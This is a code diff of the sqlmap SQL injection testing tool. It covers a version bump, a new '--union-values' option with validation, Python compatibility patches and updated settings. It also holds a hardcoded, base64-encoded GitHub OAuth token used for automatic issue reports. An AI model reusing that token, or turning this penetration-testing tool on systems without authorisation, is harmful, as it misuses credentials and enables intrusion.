if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"):
@@ -929,7 +929,7 @@ def _setPreprocessFunctions():
else: else:
try: try:
function(_urllib.request.Request("http://localhost")) function(_urllib.request.Request("http://localhost"))
except: except Exception as ex:
tbMsg = traceback.format_exc() tbMsg = traceback.format_exc()
if conf.debug: if conf.debug:
@@ -943,8 +943,8 @@ def _setPreprocessFunctions():
errMsg = "function 'preprocess(req)' " errMsg = "function 'preprocess(req)' "
errMsg += "in preprocess script '%s' " % script errMsg += "in preprocess script '%s' " % script
errMsg += "appears to be invalid " errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex)
errMsg += "(Note: find template script at '%s')" % filename errMsg += "You can find a template script at '%s'" % filename
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
def _setPostprocessFunctions(): def _setPostprocessFunctions():
@@ -1361,7 +1361,7 @@ def _setHTTPAuthentication():
errMsg += "be in format 'DOMAIN\\username:password'" errMsg += "be in format 'DOMAIN\\username:password'"
elif authType == AUTH_TYPE.PKI: elif authType == AUTH_TYPE.PKI:
errMsg = "HTTP PKI authentication require " errMsg = "HTTP PKI authentication require "
errMsg += "usage of option `--auth-pki`" errMsg += "usage of option `--auth-file`"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
aCredRegExp = re.search(regExp, conf.authCred) aCredRegExp = re.search(regExp, conf.authCred)
@@ -1801,6 +1801,9 @@ def _cleanupOptions():
conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None
break break
if conf.uValues:
conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(','))
if conf.testFilter: if conf.testFilter:
conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = conf.testFilter.strip('*+')
conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter)
@@ -2088,6 +2091,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.headersFp = {} kb.headersFp = {}
kb.heuristicDbms = None kb.heuristicDbms = None
kb.heuristicExtendedDbms = None kb.heuristicExtendedDbms = None
kb.heuristicCode = None
kb.heuristicMode = False kb.heuristicMode = False
kb.heuristicPage = False kb.heuristicPage = False
kb.heuristicTest = None kb.heuristicTest = None
@@ -2168,6 +2172,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.smokeMode = False kb.smokeMode = False
kb.reduceTests = None kb.reduceTests = None
kb.sslSuccess = False kb.sslSuccess = False
kb.startTime = time.time()
kb.stickyDBMS = False kb.stickyDBMS = False
kb.suppressResumeInfo = False kb.suppressResumeInfo = False
kb.tableFrom = None kb.tableFrom = None
@@ -2582,6 +2587,10 @@ def _basicOptionValidation():
errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.uValues and conf.uChar:
errMsg = "option '--union-values' is incompatible with option '--union-char'"
raise SqlmapSyntaxException(errMsg)
if conf.base64Parameter and conf.tamper: if conf.base64Parameter and conf.tamper:
errMsg = "option '--base64' is incompatible with option '--tamper'" errMsg = "option '--base64' is incompatible with option '--tamper'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -2804,6 +2813,11 @@ def _basicOptionValidation():
errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1):
errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position "
errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR
raise SqlmapSyntaxException(errMsg)
if conf.skip and conf.testParameter: if conf.skip and conf.testParameter:
if intersect(conf.skip, conf.testParameter): if intersect(conf.skip, conf.testParameter):
errMsg = "option '--skip' is incompatible with option '-p'" errMsg = "option '--skip' is incompatible with option '-p'"
@@ -2830,10 +2844,6 @@ def _basicOptionValidation():
errMsg = "value for option '--time-sec' must be a positive integer" errMsg = "value for option '--time-sec' must be a positive integer"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar):
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
raise SqlmapSyntaxException(errMsg)
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
errMsg = "option '--crack' should be used as a standalone" errMsg = "option '--crack' should be used as a standalone"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -118,6 +118,7 @@ optDict = {
"uCols": "string", "uCols": "string",
"uChar": "string", "uChar": "string",
"uFrom": "string", "uFrom": "string",
"uValues": "string",
"dnsDomain": "string", "dnsDomain": "string",
"secondUrl": "string", "secondUrl": "string",
"secondReq": "string", "secondReq": "string",
@@ -238,6 +239,8 @@ optDict = {
"skipWaf": "boolean", "skipWaf": "boolean",
"testFilter": "string", "testFilter": "string",
"testSkip": "string", "testSkip": "string",
"timeLimit": "float",
"unsafeNaming": "boolean",
"webRoot": "string", "webRoot": "string",
}, },
@@ -246,6 +249,7 @@ optDict = {
"beep": "boolean", "beep": "boolean",
"dependencies": "boolean", "dependencies": "boolean",
"disableColoring": "boolean", "disableColoring": "boolean",
"disableHashing": "boolean",
"listTampers": "boolean", "listTampers": "boolean",
"noLogging": "boolean", "noLogging": "boolean",
"offline": "boolean", "offline": "boolean",

View File

@@ -1,11 +1,14 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import codecs import codecs
import collections
import inspect
import logging
import os import os
import random import random
import re import re
@@ -35,9 +38,12 @@ from lib.core.data import conf
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.option import _setHTTPHandlers from lib.core.option import _setHTTPHandlers
from lib.core.option import setVerbosity from lib.core.option import setVerbosity
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.request.templates import getPageTemplate from lib.request.templates import getPageTemplate
from thirdparty import six from thirdparty import six
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_client as _http_client
_rand = 0 _rand = 0
@@ -84,7 +90,7 @@ def dirtyPatches():
if match and match.group(1).upper() != PLACE.POST: if match and match.group(1).upper() != PLACE.POST:
PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1))
# https://github.com/sqlmapproject/sqlmap/issues/4314 # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314
try: try:
os.urandom(1) os.urandom(1)
except NotImplementedError: except NotImplementedError:
@@ -93,6 +99,58 @@ def dirtyPatches():
else: else:
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
# Reference: https://github.com/sqlmapproject/sqlmap/issues/5727
# Reference: https://stackoverflow.com/a/14076841
try:
import pymysql
pymysql.install_as_MySQLdb()
except (ImportError, AttributeError):
pass
# Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py
# Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec
if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"):
ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults"))
def makelist(data):
if isinstance(data, (tuple, list, set, dict)):
return list(data)
elif data:
return [data]
else:
return []
def getargspec(func):
spec = inspect.getfullargspec(func)
kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs)
return ArgSpec(kwargs, spec[1], spec[2], spec[3])
inspect.getargspec = getargspec
# Installing "reversible" unicode (decoding) error handler
def _reversible(ex):
if INVALID_UNICODE_PRIVATE_AREA:
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
else:
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
codecs.register_error("reversible", _reversible)
# Reference: https://github.com/sqlmapproject/sqlmap/issues/5731
if not hasattr(logging, "_acquireLock"):
def _acquireLock():
if logging._lock:
logging._lock.acquire()
logging._acquireLock = _acquireLock
if not hasattr(logging, "_releaseLock"):
def _releaseLock():
if logging._lock:
logging._lock.release()
logging._releaseLock = _releaseLock
def resolveCrossReferences(): def resolveCrossReferences():
""" """
Place for cross-reference resolution Place for cross-reference resolution

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -17,10 +17,9 @@ from lib.core.enums import DBMS
from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS from lib.core.enums import OS
from thirdparty import six from thirdparty import six
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.7.4.0" VERSION = "1.9.2.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -61,6 +60,9 @@ LIVE_COOKIES_TIMEOUT = 120
LOWER_RATIO_BOUND = 0.02 LOWER_RATIO_BOUND = 0.02
UPPER_RATIO_BOUND = 0.98 UPPER_RATIO_BOUND = 0.98
# For filling in case of dumb push updates
DUMMY_JUNK = "ouZ0ii8A"
# Markers for special cases when parameter values contain html encoded characters # Markers for special cases when parameter values contain html encoded characters
PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_AMP_MARKER = "__AMP__"
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
@@ -294,7 +296,7 @@ VIRTUOSO_SYSTEM_DBS = ("",)
# Note: (<regular>) + (<forks>) # Note: (<regular>) + (<forks>)
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle")
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss")
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
SQLITE_ALIASES = ("sqlite", "sqlite3") SQLITE_ALIASES = ("sqlite", "sqlite3")
ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet")
@@ -333,7 +335,7 @@ REFERER_ALIASES = ("ref", "referer", "referrer")
HOST_ALIASES = ("host",) HOST_ALIASES = ("host",)
# DBMSes with upper case identifiers # DBMSes with upper case identifiers
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE)) UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE))
# Default schemas to use (when unable to enumerate) # Default schemas to use (when unable to enumerate)
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
@@ -431,7 +433,7 @@ META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*
JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)' JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
# Regular expression used for parsing empty fields in tested form data # Regular expression used for parsing empty fields in tested form data
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))' EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=)(?=&|\Z)'
# Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf # Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf
COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18") COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18")
@@ -443,7 +445,7 @@ COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ", ", "
WEBSCARAB_SPLITTER = "### Conversation" WEBSCARAB_SPLITTER = "### Conversation"
# Splitter used between requests in BURP log files # Splitter used between requests in BURP log files
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}" BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)"
# Regex used for parsing XML Burp saved history items # Regex used for parsing XML Burp saved history items
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)' BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
@@ -461,7 +463,7 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s" SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s"
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside) # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile") SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")
# Maximum number of threads (avoiding connection issues and/or DoS) # Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10 MAX_NUMBER_OF_THREADS = 10
@@ -544,8 +546,8 @@ IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATO
# Regular expression used for recognition of ASP.NET control parameters # Regular expression used for recognition of ASP.NET control parameters
ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$" ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
# Prefix for Google analytics cookie names # Regex for Google analytics cookie names
GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" GOOGLE_ANALYTICS_COOKIE_REGEX = r"(?i)\A(__utm|_ga|_gid|_gat|_gcl_au)"
# Prefix for configuration overriding environment variables # Prefix for configuration overriding environment variables
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_" SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
@@ -683,14 +685,11 @@ MAX_REVALIDATION_STEPS = 5
# Characters that can be used to split parameter values in provided command line (e.g. in --tamper) # Characters that can be used to split parameter values in provided command line (e.g. in --tamper)
PARAMETER_SPLITTING_REGEX = r"[,|;]" PARAMETER_SPLITTING_REGEX = r"[,|;]"
# Regular expression describing possible union char value (e.g. used in --union-char)
UNION_CHAR_REGEX = r"\A\w+\Z"
# Attribute used for storing original parameter value in special cases (e.g. POST) # Attribute used for storing original parameter value in special cases (e.g. POST)
UNENCODED_ORIGINAL_VALUE = "original" UNENCODED_ORIGINAL_VALUE = "original"
# Common column names containing usernames (used for hash cracking in some cases) # Common column names containing usernames (used for hash cracking in some cases)
COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser") COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "account", "account_name", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser")
# Default delimiter in GET/POST values # Default delimiter in GET/POST values
DEFAULT_GET_POST_DELIMITER = '&' DEFAULT_GET_POST_DELIMITER = '&'
@@ -702,7 +701,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999" FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Github OAuth token used for creating an automatic Issue for unhandled exceptions # Github OAuth token used for creating an automatic Issue for unhandled exceptions
GITHUB_REPORT_OAUTH_TOKEN = "Z2hwXzJEdUdKQXVyNms3c2J2em0weXNFYlVrZ2hxczE1eDBRQnA2Vg" GITHUB_REPORT_OAUTH_TOKEN = "Z2hwX0pNd0I2U25kN2Q5QmxlWkhxZmkxVXZTSHZiTlRDWjE5NUNpNA"
# Skip unforced HashDB flush requests below the threshold number of cached items # Skip unforced HashDB flush requests below the threshold number of cached items
HASHDB_FLUSH_THRESHOLD = 32 HASHDB_FLUSH_THRESHOLD = 32
@@ -798,7 +797,7 @@ BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be i
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au")
# Generic www root directory names # Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site")
# Maximum length of a help part containing switch/option name(s) # Maximum length of a help part containing switch/option name(s)
MAX_HELP_OPTION_LENGTH = 18 MAX_HELP_OPTION_LENGTH = 18
@@ -807,7 +806,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100 MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors # Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type") FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion")
# Regular expression used for extracting ASP.NET view state values # Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)' VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -959,12 +958,3 @@ for key, value in os.environ.items():
globals()[_] = [__.strip() for __ in _.split(',')] globals()[_] = [__.strip() for __ in _.split(',')]
else: else:
globals()[_] = value globals()[_] = value
# Installing "reversible" unicode (decoding) error handler
def _reversible(ex):
if INVALID_UNICODE_PRIVATE_AREA:
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
else:
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
codecs.register_error("reversible", _reversible)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -157,6 +157,7 @@ def _setRequestParams():
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".*?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".*?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):
@@ -225,7 +226,8 @@ def _setRequestParams():
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
